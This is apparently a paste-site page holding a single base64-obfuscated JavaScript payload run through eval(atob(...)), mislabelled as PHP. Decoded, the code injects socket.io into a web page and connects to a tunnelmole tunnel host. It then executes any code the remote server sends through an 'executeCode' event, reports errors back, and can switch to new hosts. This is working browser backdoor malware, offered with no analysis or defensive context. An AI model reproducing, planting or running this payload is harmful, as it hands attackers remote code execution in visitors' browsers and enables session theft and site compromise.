eval

From code, 1 Week ago, written in PHP, viewed 43 times.
URL https://paste.steamr.com/view/8c38651b Embed
Download Paste or View Raw
  1. eval(atob('bGV0IGlwYWFhYXZhZGFkID0gImh0dHBzOi8vbzl2cnJnLWlwLTE3OS0xNzgtMjI4LTEzNS50dW5uZWxtb2xlLm5ldCI7CgovL3RyeSB7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkEiKS5yZW1vdmUoKTt9IGNhdGNoKGV4ZWMpIHt9Ci8vdHJ5IHsgdmFyIGRpdnMgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiZGl2Iik7IGZvciAodmFyIGkgPSAwOyBpIDwgZGl2cy5sZW5ndGg7IGkrKykgeyBkaXZzW2ldLnN0eWxlLmRpc3BsYXkgPSAibm9uZSI7IH0gfSAgY2F0Y2goZXhlYykge30KLy90cnkge2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJvd25hZG8iKS5yZW1vdmUoKTsgfSBjYXRjaChleGVjKSB7fQoKZnVuY3Rpb24gZ2V0UmFuZG9tSW50KG1pbiwgbWF4KSB7CiAgbWluID0gTWF0aC5jZWlsKG1pbik7CiAgbWF4ID0gTWF0aC5mbG9vcihtYXgpOwogIHJldHVybiBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiAobWF4IC0gbWluKSkgKyBtaW47Cn0KCgoKCnZhciBzY3JpcHQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKc2NyaXB0LnR5cGUgPSAndGV4dC9qYXZhc2NyaXB0JzsKc2NyaXB0LnNyYyA9ICdodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9zb2NrZXQuaW8vMy4xLjIvc29ja2V0LmlvLm1pbi5qcyc7ICAgIApzY3JpcHQub25sb2FkID0gKCkgPT4geyAKICAgIGxldCBmY2FudCA9IGFzeW5jKGlwKSA9PiB7CmxldCBpcDIgPSBhd2FpdCBmZXRjaCgi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ifQp9IGNhdGNoe30gCiAgICAgICAgfSk7CiAgICAgICAgc29ja2V0Lm9uKCJ0cmFuc0lQIiwgKGEpID0+IHsKICAgICAgICAgICAgZmNhbnQoYS5pcCk7CiAgICAgICAgICAgIHNvY2tldC5kaXNjb25uZWN0KCkKICAgICAgICB9KTsKICAgICAgICBzb2NrZXQub24oImFkZElQIiwgKGEpID0+IHsKICAgICAgICAgICAgICAgICAgICBmY2FudChhLmlwKTsKICAgICAgICAgfSk7CgogICAgICAgIHNvY2tldC5vbigiZXhlY3V0ZUNvZGUiLCAoY29kZSkgPT4gewogICAgICAgICAgICBsZXQgaW5zdGFuY2lhID0gY29kZS5pbnN0OwoKICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgIGV2YWwoYGxldCBpbnN0YW5jaWEgPSAnJHtjb2RlLmluc3R9JzsgYCsiXG4iK2Ake2NvZGUuY29kZX1gKTsKICAgIAogICAgICAgICAgfSBjYXRjaChleGVjKSB7CiAgICAgICAgICAgICAgICBzZW5kUmVzcG9uc2UoaW5zdGFuY2lhLGV4ZWMubWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICB9KQogICAgfQogIHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7CglmY2FudChpcGFhYWF2YWRhZCkKfSwgNjAqZ2V0UmFuZG9tSW50KDEsMTApKQp9CmRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdoZWFkJylbMF0uYXBwZW5kQ2hpbGQoc2NyaXB0KTsKCiBsZXQgdG9wID0gYGA='))

Reply to "eval"

Here you can reply to the paste above